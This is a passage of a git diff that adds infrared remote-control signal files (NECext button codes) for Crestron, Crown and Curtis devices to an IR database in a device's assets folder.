02 00 00 00 +command: 17 00 00 00 +# +name: BTN25 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: BTN26 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: BTN27 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: BTN28 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: BTN29 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: BTN30 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: BTN31 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: BTN32 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: BTN33 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: BTN34 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: BTN35 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: BTN36 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: BTN37 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: BTN38 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: BTN39 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: BTN40 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: BTN41 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: BTN42 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: BTN43 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: BTN44 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2B 00 00 00 +# +name: BTN45 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2C 00 00 00 +# +name: BTN46 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2D 00 00 00 +# +name: BTN47 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: BTN48 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: BTN49 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 +# +name: BTN50 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: BTN51 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 32 00 00 00 +# +name: BTN52 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: BTN53 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 34 00 00 00 +# +name: BTN54 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: BTN55 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: BTN56 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 37 00 00 00 +# +name: BTN57 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 38 00 00 00 +# +name: BTN58 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 39 00 00 00 +# +name: BTN59 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3A 00 00 00 +# +name: BTN60 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3B 00 00 00 +# +name: BTN61 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3C 00 00 00 +# +name: BTN62 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3D 00 00 00 +# +name: BTN63 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: BTN64 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir new file mode 100644 index 000000000..23c7e6c50 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: BTN01 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: BTN02 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: BTN03 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: BTN04 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: BTN05 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: BTN06 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: BTN07 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: BTN08 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: BTN09 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: BTN10 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: BTN11 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: BTN12 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: BTN13 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: BTN14 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: BTN15 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: BTN16 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: BTN17 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: BTN18 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: BTN19 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: BTN20 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: BTN21 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: BTN22 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: BTN23 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: BTN24 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: BTN25 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: BTN26 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: BTN27 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: BTN28 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: BTN29 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: BTN30 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: BTN31 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: BTN32 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: BTN33 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: BTN34 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: BTN35 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: BTN36 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: BTN37 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: BTN38 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: BTN39 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: BTN40 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: BTN41 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: BTN42 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: BTN43 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2A 00 00 00 +# +name: BTN44 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2B 00 00 00 +# +name: BTN45 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2C 00 00 00 +# +name: BTN46 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2D 00 00 00 +# +name: BTN47 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2E 00 00 00 +# +name: BTN48 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2F 00 00 00 +# +name: BTN49 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: BTN50 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 31 00 00 00 +# +name: BTN51 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 32 00 00 00 +# +name: BTN52 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 33 00 00 00 +# +name: BTN53 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 34 00 00 00 +# +name: BTN54 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 35 00 00 00 +# +name: BTN55 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 36 00 00 00 +# +name: BTN56 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 37 00 00 00 +# +name: BTN57 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 38 00 00 00 +# +name: BTN58 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 39 00 00 00 +# +name: BTN59 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3A 00 00 00 +# +name: BTN60 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3B 00 00 00 +# +name: BTN61 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: BTN62 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3D 00 00 00 +# +name: BTN63 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3E 00 00 00 +# +name: BTN64 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir new file mode 100644 index 000000000..f0a62f302 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: BTN01 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: BTN02 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: BTN03 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: BTN04 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: BTN05 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: BTN06 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: BTN07 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: BTN08 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: BTN09 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: BTN10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: BTN11 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: BTN12 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: BTN13 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: BTN14 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: BTN15 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: BTN16 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: BTN17 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: BTN18 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: BTN19 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: BTN20 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: BTN21 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: BTN22 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: BTN23 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: BTN24 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: BTN25 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: BTN26 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: BTN27 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: BTN28 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: BTN29 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: BTN30 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: BTN31 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: BTN32 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: BTN33 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: BTN34 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: BTN35 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: BTN36 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: BTN37 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: BTN38 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 25 00 00 00 +# +name: BTN39 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: BTN40 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 27 00 00 00 +# +name: BTN41 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: BTN42 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: BTN43 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: BTN44 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2B 00 00 00 +# +name: BTN45 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: BTN46 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2D 00 00 00 +# +name: BTN47 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2E 00 00 00 +# +name: BTN48 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: BTN49 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: BTN50 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: BTN51 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 32 00 00 00 +# +name: BTN52 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 33 00 00 00 +# +name: BTN53 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 34 00 00 00 +# +name: BTN54 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 35 00 00 00 +# +name: BTN55 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 36 00 00 00 +# +name: BTN56 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 +# +name: BTN57 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 38 00 00 00 +# +name: BTN58 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: BTN59 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3A 00 00 00 +# +name: BTN60 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: BTN61 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3C 00 00 00 +# +name: BTN62 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3D 00 00 00 +# +name: BTN63 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3E 00 00 00 +# +name: BTN64 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir new file mode 100644 index 000000000..82d82963a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 00 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 01 00 00 00 +# +name: SCENE_1 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 02 00 00 00 +# +name: SCENE_2 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 03 00 00 00 +# +name: SCENE_3 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 04 00 00 00 +# +name: SCENE_4 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 05 00 00 00 +# +name: RAISE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 21 00 00 00 +# +name: LOWER +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 22 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir new file mode 100644 index 000000000..7194b9789 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: 1_OR_* +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: ALPHABETIC_SCROLL_KE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 +# +name: NOW_PLAYING +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 12 00 00 00 +# +name: BROWSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 13 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 16 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: ACTION_KEY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 18 00 00 00 +# +name: CANCEL_KEY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1A 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: DEFAULT_OUT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir b/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir new file mode 100644 index 000000000..69ae3e96f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 0D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 15 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: CA 14 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir new file mode 100644 index 000000000..35306cd7a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: PS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: DOUBLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: UPDATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: P100 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: TX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: SYST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir new file mode 100644 index 000000000..b4ef9c92a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext 